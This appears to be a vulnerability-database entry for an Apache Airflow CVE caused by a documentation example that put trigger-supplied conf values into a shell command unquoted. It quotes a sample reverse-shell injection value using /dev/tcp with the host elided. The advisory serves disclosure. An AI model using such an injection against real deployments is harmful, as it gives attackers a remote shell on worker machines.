Vulnerability in Apache Airflow
CVE-2026-42252
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
EPSS: 0.004 (31.4th percentile) — read the EPSS interpretation.
CVSS v3 metric
CVSS v3 base score 9.1 (Critical). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
Affected products
- Apache Airflow
- Apache Software Foundation Airflow — versions 3.0.0
Weakness classification (CWE)
References
- security@apache.org (Patch, patch, Issue Tracking)
- security@apache.org (vendor-advisory, Mailing List, Vendor Advisory)
Frequently asked questions
- What is CVE-2026-42252?
- CVE-2026-42252 is a critical-severity vulnerability in Apache Airflow, classified under Improper Neutralization of Special Elements Used in a Template Engine. CVSS score: 9.1/10. Published 2026-06-01.
- How severe is CVE-2026-42252?
- Critical severity. CVSS v3 base score is 9.1 out of 10.